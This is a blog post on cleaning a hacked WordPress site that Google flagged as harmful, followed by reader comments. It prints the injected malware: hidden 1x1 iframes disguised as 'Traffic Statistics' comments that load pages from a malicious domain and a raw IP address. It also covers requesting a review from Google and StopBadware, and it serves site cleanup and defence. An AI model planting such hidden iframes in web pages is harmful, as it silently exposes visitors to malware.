Fixing a ‘This site may harm your computer’ warning, part 2: Hidden iFrames

Earlier I wrote about what I did when my WordPress blog started returning a “This site may harm your computer” warning in Google and Firefox. Just to recap, these are the first steps to take to fix the problem:

  1. Plug the hole – update WordPress (or your blog, forum, or CMS software) to plug any security holes.
  2. Repair the damage – search for spammy outgoing links or malware files on your pages and delete them.
  3. Clear your good name – request a review by StopBadware.org and in Google Webmaster Tools.

This is the right process to follow, but it turns out that I was a bit premature in doing step 3. Spammers and spyware spreaders are a wily, unpredictable bunch and they can’t be expected to stick to simple tactics like inserting links into posts.

The other tactic they used on my site was inserting invisible iFrames. These are harder to find because there aren’t as many automated tools to find them (or, at least, I don’t know of any) so it takes some manual searching through your source code. Here’s what the malware code looked like:


<!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->

<noscript></noscript> <iframe src=”http://61.132.75.71/iframe/wp-stats.php” frameborder=”0″ height=”1″ width=”1″></iframe><br />
<!– End Traffic Statistics –>

It looks like others have run into the same issue. Your anti-virus software may even give you a warning about a virus in a file named “wp-stats[1].htm.” In my case AVG Antvirus warned me about a trojan horse in my temp folder.

Once I removed the iframes, I resubmitted my request in Google Webmaster Tools. Here’s another helpful hint that took me a while to figure out: If only part of your site has been hacked and is marked in StopBadware.org’s database, you should Add that subdirectory as a new site in Webmaster Tools. Here’s an illustration (click to see full size):

webmaster-tools-subdir

In this screenshot you can see my main site, www.jasonmorrison.net. If I click there I don’t see any warning about spam or viruses in my blog at www.jasonmorrison.net/content. So I just added my blog as a new “site” and there I could see the warnings and make a reconsideration request.

One last thing: Google may send out an email to try to let you know about these sorts of problems. I never saw these emails, though, since they go to addresses like abuse@yourdomain.com and admin@yourdomain.comthat spammers also like to use. They ended up in my spam bucket. So you might want to whitelist email from google.com.

Next in part three I’ll talk about what to do when a whole subdomain (perhaps with a forum) is filled with spam. Please put questions or additional suggestions in the comments below.

14 thoughts on “Fixing a ‘This site may harm your computer’ warning, part 2: Hidden iFrames

  1. Looks like there’s a leftover in the text? It’s under a tag:

    “If only part of your siteBrilhante advogado e pai da tim toques Daniela Sarahyba. has been hacked”

    I’m guessing that’s not supposed to be there… not gonna try the site that’s linked :)

  2. Thanks for this useful article. I requested review from StopBadware.org . I hope It will work for fixing.

  3. helo sir
    I had this problem and I removed some Iframe I had in my code and now when I am trying to verify the page then it says “A review for this site is still pending. Please check back later.” and I have been waiting for 2 hours and still it is the same.
    please can you help me?

    sincerely Waiss

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